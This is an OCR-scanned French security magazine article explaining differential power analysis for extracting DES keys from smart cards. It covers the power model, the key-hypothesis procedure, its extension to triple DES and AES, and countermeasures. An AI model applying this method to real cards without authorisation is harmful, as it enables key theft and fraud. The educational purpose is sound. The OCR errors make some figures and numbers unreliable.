depuis la version 4.3.2. Des familles entiéres de fonctions sont
désactivables via le paramétre disable classes,

Le safe mode de PHP montre clairement ses limites
~ mais PHP dispose aussi de moyens pour contrer
) des scripts hostiles. Il faut penser a les employer.

C. Grenier

3
2
4
%
@)
=

.\) grenier(@ cgsecurity.org

REFERENCES

[ 1] http://www.php.net/usage.php
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Récupérez une clé DES
avec un voltmetre

Dans ['article [1] de MISC n°7, nous avons vu comment trouver une clé RSA en
faisant une seule mesure de la consommation de courant d'un processeur
cryptographique (carte & puce par exemple). L'attaque fonctionne sur le fait que

/ algonthme de calcul RSA utilise deux opemnons ayant des signatures bien distinctes sur
la courbe de consommation de courant : un carré ou une multiplication modulaire.

Malheureusement pour nous, I'algorithme utilise dans un
calcul DES (algorithme de chiffrement symetrique) est
compleétement différent et emploie des opérations logiques
plutot que des opérations arithmétiques. Mais le méme Paul
Kocher qui est a l'origine de la SPA (Single Power Analysis,
analyse de courant simple) décrite dans [1] est aussi 'auteur
de la DPA (Differential Power Analysis, analyse de courant
différentielle).

Dans le méme article du New York Time [2] cité dans le
précédent épisode, on frouve :

Y Kocher's company also has developed more sophisticated
statistical artacks that can be used to extract the key even when it
is not readily understandable from the power consumption data.
This technigue, which the company describes with a trademarked
phrase "differential power analvsis,” allows an attacker to extract
each bit of the kev by making guesses and testing them several
times. The keyv can usually be recovered in about 1,000 or so trials,
Kocher said "

qui peut se traduire par :

"La sociéte de Kocher a aussi développé des attagues statistigues
phis complexes qui penvent étre wtilisées powr extraive la cle meme
lorsque ce n'est pas visible depuis la consommation de courant.
Cetfe technigue, gue la sociéte decrit avee expression “déposee”
"differential power analvsis”, permet a un attaguant d'extraire chague
hit de la clé en faisant des hypotheses et en les vérifiant plusieurs
fois. La elé peut en genéral étre récupérée en environ un miflier
dlessais. "

Dans ce cas aussi, la description d'un journal non scientifique
est relativement exacte et compréhensible. Nous allons
essayer d'approfondir 'explication et montrer comment
I'attaque fonctionne.

M A,
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CONSOMMATION
DE COURANT D'UN CPU

Avant de décrire l'attaque elle-méme il faut étudier la
consommation de courant du processeur. Une carte a puce
possede des contacts électriques C'1 a C8 normalisés par la norme
ISO 7816-2. Cing contacts sont réellement ufilisés sur une carte
a microprocesseur normale. Ces contacts sont :

B |a masse (Ground) ;

H |'alimentation électrique (VCC) ;

B |e signal de reset

H 'horloge ;

B I'[O (communication série sur un fil).

Ce qui nous intéresse ici est de mesurer la consommation de
courant (l'intensité du courant) de la puce. Il suffit pour cela de
brancher un oscilloscope sur une résistance en série sur
l'alimentation VCC. On obtient une courbe qui ressemble a la
courbe rouge de la figure 1

J'ai ajouté une courbe bleue correspondante au signal d'horloge
afin de rendre visible 1'évolution de la consommation de courant
durant un cycle d'horloge. On voit tres bien que la consommation
n'est pas constante du tout et que si la courbe revient & un niveau
minimum quasiment identique pour chaque cycle, le niveau
maximum est trés variable d'un cycle a l'autre.

Lorsqu'on superpose la consommation de plusieurs mesures
différentes (figure 2), on remarque que les courbes sont
synchrones, normal puisque le CPU fonctionne a la fréquence
donnée par I'horloge externe, mais que la consommation de
chaque cycle d'horloge n'est pas constante du tout.

MisC ¢
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ette différence de consommation s'explique par le fait que le
PU effectue des opérations élémentaires différentes. La
onsommation de courant dépend de l'instruction exécutée et des
onnées manipulées par l'instruction, De fagon plus précise la
onsommation dépend des 0 et des 1 qui circulent dans le circuit.

n faisant des mesures sur un programme maitrisé et congu pour,
n se rend compte que l'opération LDA #$FF qui place la valeur
55 (SFF en hexadécimal) dans I'accumulateur A consomme un
eu plus que l'opération LDA #$00 qui place la valeur 0 dans le
1éme accumulateur A. On observe méme que la consommation
st liée au poids de Hamming de l'octet manipulé, c'est-a-dire au
ombre de bits a 1 parmi les 8 bits de l'octet. La consommation

de LDA #S03 est la méme que la consommation de LDA #8524
car $03 et $24 s'écrivent 0000001 1b et 00100100b en binaire et
done tous les deux ont deux bits a 1 et six bits a4 0. Les deux octets
“pesent” le méme poids.

MODELE

Le modele et les explications sont trés fortement inspirés de [3].

NOTATION

Notons HW(x) le poids de Hamming de la variable x (sur un
octet). HW{x) est fe nombre de | dans I'écriture en binaire de x.
Le graphe de la fonction HW(x) est donné figure 3

HW(0) vaut 0 puisque tous les bits de 'octet sont 4 0. HW(255)
vaut 8 puisque tous les bits de 'octet sont a |. Et caetera pour les
autres valeurs.

MODELE DE CONSOMMATION DE COURANT

Nous prenons comme modele de consommation de courant I¢
poids de Hamming du résultat du caleul effectué par le processeur:
Si le résultat du calcul vaut 255, la consommation de courant est
maximale. Si le résultat du calcul vaut 0, la consommation de
courant est minimale. Les valeurs intermédiaires donnent une
consommation proportionnelle 8 HW(résultat).

Il faut valider notre modele de facon expérimentale, Prenons une
opération simple telle que le ow exchusif entre une constante et une
donnee variable. La constante est fixée de facon arbitraire 4 184.

Le courbe théorique de poids de Hamming du résultat HW(x xor
184) est donnee sur la figure 4.

On remarque que c'est une courbe trés semblable a la courbe de
la figure 3 mais décalce et "inversée”. Le minimum de la courbe
est atteint pour x = 184 puisque HW(x xor 184) = HW(184 xor
[84) = HW(0) = 0 et le maximum est atteint pour x = 71 (71 xor
184 = 255).

Afin de confronter notre modéle a la réalite. il est nécessaire de
faire effectuer par le processeur le calcul (x xor [54) pour les 256
valeurs de x. Chaque calcul donnera lieu a une acquisition de la
consommation réelle de courant. A partir de ces courbes, il faut
repérer I'mstruction XOR effectuée par le processeur ; il suffit de
trouver le cvcle machine pour lequel les consommations sont
différentes pour les différentes valeurs de x. Dans ce cyele machine
correspondant a I'exceution de l'instruction XOR, on repére l'instant
pour lequel la variation est maximale (voir figure 5).

11 suffit ensuite de tracer la valeur de la mesure & cet instant en
fonction de x (voir le graphe de la figure 6). L'échelle des
ordonnées va de 140 a 255 puisqu'il ne s'agit pas ici du poids de
Hamming mais de la consommation de courant mesurée a
l'oscilloscope. Un oscilloscope bas de gamme donne une mesure
sur 8 bits, done les valeurs vont de 0 a 255 (sur la figure 6 il n'y
a pas de valeurs inférieures a 140).
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On remarque que les courbes des figures 4 et 6 sont quasiment
superposables. Ce qui nous conforte a penser que notre modele
de consommation de courant est valide.

signature maximale

L'ALGORITHME DES

Je ne vais pas présenter 'algorithme DES, Vous pouvez trouver
tous les détails dans |4]. L'algorithme DES utilise un schéma de
Feistel (figure 7) a4 16 tours. Le DES chiffre par blocs de 64 bits.
Le bloc subit une permutation initiale (1P) puis est découpé en
deux parties de 32 bits chacune. La partie droite de I'étape 1 (Ri)
devient simplement la partie gauche de I'étape i+1 (L(1+1)). La

partie droite de I'étape i+1 (R(i+1)) est le résultat du ou exclusif

entre la partie gauche de I'é¢tape i (L1) et le resultat d'une fonction
F() appliquée Ri et Ki et ot Ki est une sous-cle issue de la clé
secréte K. Je ne décrirai pas la géncration des sous-clés Ki. Cette
génération ne dépend pas du message et uniquement de K.

La fonction F() est décrite dans la figure 8. Le bloc de 32 bits
(Ri) est d'abord expansé a 48 bits (certains bits sont dédoubleés
en fonction d'une table fixe). Ces 48 bits sont ensuite “xorés”
avec les 48 bits de la sous-clé Ki. Les 48 bits de résultat sont
séparés en 8 blocs de 6 bits chacun, et chaque bloc de 6 bits passe
dans une boite de substitution (S-Box) différente et donne un
résultat sur 4 bits. Une boite de substitution Si est juste une table
qui donne un resultat sur 4 bits a partir d'une entrée sur 6 bits.
Les & tables sont fixes et connues. Les 8 blocs de 4 bits sont
ensuite rassemblés et certains bits sont permutés en fonction d'une
autre table elle aussi fixe et connue. Et voila !

MISC ¢

Ce qui nous intéresse particulierement est I'étape du ou exclusif
entre la sous-clé Ki et le bloe Ri expansc. Si I'attaquant connait
le message M a chiffrer il peut calculer le bloc RO. D'apres ce
qu'on a vu précédemment, il peut espérer connaitre le poids de
Hamming de chacun des octets de la sous-cle K1 (sur un
composant 8 bits, le xor entre deux blocs de 48 bits (6 oclets) est
effectué octet par octet) a partir de la consommation de courant
lorsgque la sous-clé K1 est "xorée” avec RO.

Malheurcusement. il est difficile de faire une mesure suffisamment
précise de la consommation pour en déduire le poids de Hamming
sans ambiguité. Ensuite, le poids de Hamming ne donne pas la
valeur de l'octet mais uniquement le nombre de bits a 1 dans
l'octet. Par exemple, il y a 70 octets de valeurs différentes et qui
ont un poids de Hamming de 4 (voir figure 9).

RECHERCHER PAR ESSAI/ERREUR

L'idée de Kocher pour réussir l'attaque est de faire une hypothese
sur la valeur de la clé K, de simuler les calculs en tenant compte
de son hypothese et de verifier que les caleuls simulés et les mesures
réelles correspondent. C'est la méme idée de technique qu'il avait
déja utilisée pour trouver une clé RSA par timing aitague [5].

Faire une hypothese sur la clé K compléte est irréaliste. En effet
il faudrait faire et verifier 256 hypothéses, c'est-a-dire autant qu'il
y a de cles de 56 bits possibles, ce qui revient a faire de la
recherche exhaustive. On va profiter de la structure du DES pour
retrouver la clé par petits morceaux indépendants.

La figure 8 nous montre que les boites de substitutions sont
indépendantes. Le comportement de la boite S1 ne dépend que
de 6 bits de la sous-clé Ki et de 6 bits issus de R(i-1). Lors de la
premiere étape du DES dans le réseau de Feistel RO est
directement issu du message M (supposé ic1 connu par l'attaquant).
Les calculs intermédiaires peuvent donc étre partaitement simulés
par l'attaquant jusqu'au xor avec la premiere sous cl¢ K1. Les
résultats suivants dépendent de la valeur de cette sous clé K1.

Regardons de plus prés la boite S1. Les calculs effectues
(recherche du résultat dans une table de substitution) ne dépendent
que de 6 bits de la sous-clé K1. 11 n'y a donc que 26 = 64 valeurs
possibles pour le bout de sous-cle K1 utilisé¢ ici.

11 est tout a fait raisonnable d'étudier de fagon exhaustive ces 64
cas possibles.




Récupeérez une clé DES avec un voltmétre
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VIOTEUR DE L'ATTAQUE

Y'apres ce que nous avons vu précédemment, la consommation
le courant est plus importante si un bit donné du résultat vaut |
ue si ce bit vaut 0. Nous allons utiliser ce résultat pour
liftérencier la bonne hypothése parmi les 64 possibles.

‘attaquant doit d'abord mesurer la consommation de courant du
hiffrement d'un grand nombre de messages Mi différents et
onnus avee la méme clé K, L'attaquant n'a pas a choisir les

¥ Y
| Lo | [ |
E t: = Kl
| L1 = RO ‘ l R1 = LO xor F(ROK1) ‘

----------
--------

Y
L e
" Kl6

L R16 = L15 xor F(R15.K16) |

‘‘‘‘‘

L LI6=RI5 I

Texte chiffré

messages. Il suffit qu'il observe le message Mi qui est envoyé a
la puce et qu'il mesure la consommation de courant
correspondante. L'attaquant a maintenant un grand nombre
(plusieurs dizaines de milliers) de courbes Ci de consommation
et les messages Mi correspondants.

Pour les 64 valeurs possibles du premier bloc de sous clé
'attaquant simule le DES et calcule la sortie de la boite de
substitution S1 pour chacun des messages Mi. L'attaquant va
ensuite trier les courbes en deux groupes : dans un premier groupe
les courbes pour lesquelles le bit n du résultat est a 0 et dans un
deuxiéme groupe les courbes pour lesquelles le bit n du résultat
esta . L'indice n du bit (parmi les 4 bits de sortie de S1) n'a pas
d'importance. Prenons par exemple le bit de poids faible.

Rii-1) {32 bits) H
| Expansion 4 48 bits

E}-— Ki (48 bits)

F(R(i-1)Ki)

(32 hits)

Ensuite I'attaquant calcule la courbe moyenne pour chacun des
deux groupes. Il calcule ensuite la différence entre ces deux
courbes moyennes qui lui donne une nouvelle courbe.

Que doit-il déduire de toutes ces courbes, moyennes et
différences ? Comment peut-1l savoir quelle hypothése de clé est
la bonne ? C'est assez simple mais je vais vous l'expliquer quand
meéme :-)

Le poids de Hamming moyen des octets d'une suite aléatoire

d'octet est de 4. Chacun des 8 bits d'un octet a autant de chance
d'étre a 0 qu'a 1 puisque l'octet est aléatoire. Done, en moyenne,
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4 bits seront a 1 et 4 autres bits seront a 0. Notre attaquant a tri¢
ses deux groupes en fonction d'un bit de résultat (nous avions
choisi le bit de poids faible). Le poids de Hamming moyen des
groupes n'est done plus de 4 puisqu'un bit est fixé. Seuls 7 bits
sont libres de prendre des valeurs aléatoires. Ces 7 bits contribuent
en moyenne pour un poids de Hamming de 7/2 = 3.5, Dans le
premier groupe, l'attaquant avait range les courbes avec le bit de
résultat 4 0. Le poids moyen est donc de 3.5 + 0 = 3.5. Dans le
deuxiéme groupe, il a rangé les courbes avec le bit de résultat a
1. Le poids moyen est donc de 3.5 + | = 4.5. On a donc deux
groupes de courbes avec des poids de Hamming moyens
différents. Dong, s1 on fait la différence des courbes moyennes,
on devrait avoir une moyenne non nulle.

C'est exactement ce qui se passe a la différence que la clé n'est
utilisée que pendant quelques cycles sur toute la mesure, La
différence de poids de Hamming, et donc de consommation, n'est
visible que lorsque la clé est utilisée pour calculer le bit observe.

répartition/poids de Hamming ™
70 T T T T ﬂ
60 g
50 A
40 - -
30 - 4
0 il
10 b
' I k
i 0 2 4 6 8
I
C15=0 | — C38=1 ' | |
250 ' | L Cas=1 | | |
imoyenne SO | ,| . moyenne S1 | | l
différence 50-51 T
. picde DPA
L
€150 I [ L C35=1 f | i
C48=0 | I C25=1 I L
| I
Emoyenne S0 | I I moyenne 51 | l I
différence S0-51
W pas de pic de DPA
||
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Avant et apres, les calculs ne sont pas dependants du bloc de
sous-clé étudié et les deux courbes moyennes sont identiques.
On a alors une courbe moyenne nulle sauf & certains moments
lorsque le bloc de sous clé étudié est utilisé. On a ce qui s'appelle
un pic de DPA. DPA signifie d'ailleurs Differential Power Analvsis
ou analyse différentielle de la consommation. C'est bien un calcul
de différence qu'on vient d'effectuer.

IDENTIFICATION DE LA BONNE CLE

Il faut faire ce tri en deux groupes, calcul de moyenne et calcul
de différence pour chacune des 64 sous-clés possibles. Lorsque
la prévision de la valeur du bit ne sera pas correcte. les deux
groupes contiendront des courbes dans lesquelles le bit est
aléatoirement a 0 ou a |, et donc les deux moyennes seront égales.

En revanche, lorsque la prévision de la valeur du bit sera correcte
les deux groupes contiendront effectivement des courbes dans
lesquelles le bit est a 0 pour le premier groupe et a | pour le
deuxieme groupe. Le poids de Hamming des deux groupes sera
réellement différent : 3.5 pour le premier groupe et 4.5 pour le
deuxiéme groupe. La différence des deux moyennes fera alors
apparaitre un pic de DPA.

La bonne sous-clé est donc celle pour laquelle la courbe différence
présente un pic de DPA.

La figure 10 présente de fagon schématique avec 4 courbes
seulement le cas d'une bonne hypothése de sous-clé. Les courbes
C1 et C2 correspondent au cas S=0 avec le bit a 0 (poids de
Hamming faible), alors que les courbes C3 et C4 correspondent
au cas S=1 (poids de Hamming plus elevé), Les deux courbes
moyennes sont identiques sauf a l'endroit correspondant a
l'expression du bit étudié. Les variations ailleurs que lors de
I'expression du bit étudié peuvent étre vues comme du bruit
aléatoire indépendant du bit étudié. Les deux groupes ont alors
en moyenne le méme bruit et done des moyennes identiques sauf
lors de I'expression du bit ctudié.

La figure 11 présente le cas de mauvaise hypothese de cl¢. Les
courbes sont mal tri¢es, donc chacun des deux groupes contient
des courbes avec le bita 0 et le bita 1. Les deux moyennes sont
égales y compris a l'endroit correspondant a I'expression du bit
étudié. La courbe de différence est donc nulle sur toute sa longueur.

En pratique. la courbe de différence n'est pas strictement nulle
mais a de petites variations. La bonne sous-clé est celle pour
laquelle le pic de DPA est le plus haut.

SCHEMA GENERAL

Pour résumer, la figure 12 représente une vue d'ensemble de la
méthode.

1.L'attaquant récupere un grand nombre de courbes de
consommation de courant Ci correspondant a des messages
Mi.

2.1l fait ensuite une hypothese sur la valeur des 6 premiers
bits de la sous clé K1 (en pratique il recommence I'hypothése
avec les 64 valeurs possibles).
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3.Connaissant la valeur de Mi et de 6 bits de K1 il simule le
deébut de I'algorithme DES jusqu'a I'exécution de la substitution
S1 et trie les courbes en fonction d'un bit de résultat. C'est la
fonction de sélection S.

4.1l caleule la courbe moyenne de chacun des deux groupes
de courbes.

5.Puis il calcule la différence des deux courbes moyennes.

6.5i la courbe résultat présente des pics plus importants que
le bruit de la courbe c'est que I'hypothése sur les 6 bits de K 1
était la bonne,

7.L'attaquant recommence & l'étape 2 avec les 6 bits suivants
de K1 correspondant a I'exécution de la substitution S2 et ainsi
de suite pour les 8 substitutions.

L'attaquant a maintenant la valeur des 48 bits de K1. Ces 48 bits
proviennent de 48 bits de la clé K. La vraie clé DES K a une
longueur de 56 bits. Il manque donc 8 bits de clé a découvrir.

L'attaquant a alors deux options :
B S'il dispose d'un couple de messages clair-chiffré, il peut
effectuer une petite recherche exhaustive sur les 256 valeurs
possibles de ces 8 bits manquants. Tester 256 clés différentes
prend moins d'une seconde de caleul.

W 5i 'attaquant n'a pas le chiffré correspondant au clair parce
que le message est ensuite modifié ou parce qu'il ne ressort
pas de la puce, il est toujours possible de continuer la DPA
sur le deuxieme tour du DES (comme décrit sur la figure 7,
le DES est un schéma de Feistel a 16 tours). L'attaquant va
alors trouver la sous clé K2 et ainsi les bits manquants.

L'attaquant a maintenant les 56 bits de la clé DES.

EXTENSION AU TRIPLE DES

L'algorithme triple DES permet de renforcer la résistance du DES
en utilisant une clé K de 112 bits qui est en fait la concaténation
de deux clés DES Ka et Kb de 36 bits chacune. Le triple DES
est la composition de trois DES telle que 3DES[K](M) =
DES[Ka](DES-1[Kb](DES[Ka](M))). DES-1 est l'algorithme de
dechiffrement DES. Ce schéma permet de retrouver un simple
DES lorsque Ka = Kb.

['attaque DPA fonctionne de la méme fagon que pour un simple
DES. En effet, il suffit de trouver la cl¢ Ka du premier DES.

Connaissant cette clé Ka l'attaquant en déduit la valeur du message
entrant dans DES-1[Kb], message qui est le chiffrement du Mi
(connu) par Ka, (maintenant connue). Il se retrouve donc dans
la situation de casser un simple DES et retrouve Kb.

Afttaquer un triple DES revient donc a attaquer deux fois un DES.
Si le DES est attaquable, le triple DES est autant vulnérable.

AUTRES ALGORITHMES
VULNERABLES

Le DES n'est pas le seul algorithme vulnérable par cette attaque.
A I'époque de la publication de l'attaque [1998) c'était I'un des
algorithmes les plus utilisés dans les cartes a puce.

La méme attaque fonctionne aussi trés bien sur 'AES ou sur tout
type d'algorithme pour lequel un caleul effectué par le composant
attaque est simulable par I'attaquant en faisant une hypothése sur
une petite partie de la clé. L'algorithme AES est connu, donc
entierement simulable par l'attaquant. Le message entrant est connu
de l'attaquant (voire méme choisi par l'attaquant). L'AES effectue
des opérations arithmétiques et logiques octet par octet (il a été
congu ainsi pour étre efficace sur des composants § bits tels que
ceux utilisés dans les cartes a puce courantes). L'attaquant a donc
tout ce qu'il faut pour simuler 'algorithme de chiffrement en faisant
une hypothese sur un octet de clé (donc 256 hypothéses a faire au
lieu de 64 comme pour un DES, mais cela reste trés faisable).

Si I'attaquant ne connait pas le message entrant mais le résultat
du calcul cryptographique, l'attaque fonctionne aussi. Il suffit
dans ce cas de faire la simulation & partir de la fin du calcul et
non plus a partir du début.

CONTRE-MESURES

Bien siir, 1l existe des contre-mesures a cette attaque. D'ailleurs.
son inventeur, Paul Kocher, propose lui-méme des solutions
solutions brevetées bien sir.

SOLUTIONS LOGICIELLES
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Une premicre idée est de limiter les messages
possibles a I'entrée du DES, par exemple en
fixant certains octets a une valeur fixe. De ce
fait, les messages ne sont plus vraiment
aléatoires et les parties inintéressantes des
courbes ne peuvent plus étre assimilées a du
simple bruit aléatoire. Ces parties vont faire
apparaitre de faux pics de DPA pour de
mauvaises hypothéses de clés et donc tromper
I'attaquant.

différence

E’I

Une deuxiéme idée est de décorréler la
consommation de courant du modéle de
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consommation utilisé jusqu'ici. Par exemple, une bonne
technique est de modifier le message de fagon aléatoire.
Dans ce cas, l'attaquant ne connait plus le message qui
sera vraiment chiffré et ne peut plus simuler 'algorithme
et done ne peut plus trier les courbes.

Une troisieme idée est de désynchroniser de fagon
temporelle les courbes entre elles afin que la partie
significative de la consommation ne soit pas toujours au
méme endroit mais repartie de facon aléatoire sur
plusieurs ¢ycles d'horloges. L'opération de moyennage
ne va donc plus mettre en valeur I'instant ol la
consommation de courant est correlée a la clé, mais va
au contraire noyer cette information dans le bruit puisque
cet instant précis sera différent pour chaque courbe.

Les deux premieres idées imposent de modifier le
protocole puisqu'on s'interdit de simplement calculer
DES[k](M) soit en limitant les messages M possibles,
soit en ajoutant des octets aléatoires. Ce n'est pas toujours
possible et c'est surtout trés difficile lorsque I'application
qui utilise la carte & puce est deja deployeée et utilisée.

La derniére idée est trés efficace mais il est souvent
possible de re-synchroniser les courbes par un pre-
traitement adéquat.

SOLUTIONS MATERIELLES

Comme pour la SPA [1], la meilleure solution est d'obtenir
une consommation de courant parfaitement constante. Si
en théoric la solution est idéale. en pratique c¢'est
problématique. 1l faut que la consommation soit toujours
égale 4 la plus forte consommation possible. L'énergie
non consommeée est alors dissipée sous forme de chaleur.
La consommation de la carte est plus élevée (puisque
maximale tout le temps) et cela peut poser des problemes
dans des applications a ressources énergetiques limitées
comme les cartes SIM des téléphones portables.

Nous venons de voir une technique assez efficace pour
extraire une clé secréte d'un processeur cryptographique.
Bien sur, la technique déerite ici n'est plus utilisable
contre les produits récents utilisant des composants
materiels plus discrets (moins de fuite) et des
implantations logicielles intégrant les derniéres
techniques de protection.

La consommation de courant n'est pas la seule source
de fuite d'information. Il est aussi possible d'utiliser
d'autres phénoménes physiques qui pourraient étre a
l'origine d'une fuite d'information. Par exemple le
rayonnement électromagnétique du composant semble
étre une bonne source d'information. A ce sujet je vous
recommande vivement la lecture de [9] qui présente les
mémes attaques SPA et DPA mais en utilisant le
rayonnement électromagnétique du composant plutdt
que sa consommation électrique. Vous y trouverez aussi
des photos de manipulations et des courbes d'acquisitions.

Le prochain article étudiera encore une nouvelle famille
de failles de securité en cryptographie : les attaques par
fautes.

Georges Bart <georges.bart(@ free.fr>

Cryptography and Security, 13 mars 2001,

POUR PLUS D'INFORMATIONS

Pour de plus amples informations, détails et formules
mathématiques, je vous renvoie vers un papier |6] co-
éerit par Paul Kocher et présenté a la conférence
Crypto'99.

Le site de la société de Kocher, Cryptography Research,
Inc., propose ¢galement des informations moins
techniques et plus faciles d'acces |7].

11 existe beaucoup d'articles scientifiques sur le sujet.
Une conférence scientifique a méme ¢té créée pour
l'occasion. Il s'agit de CHES "Workshop on
Cryptographic Hardware and Embedded Systems" [8].
Cette conférence existe depuis 1999, soit peu de temps
apres les découvertes de Paul Kocher.
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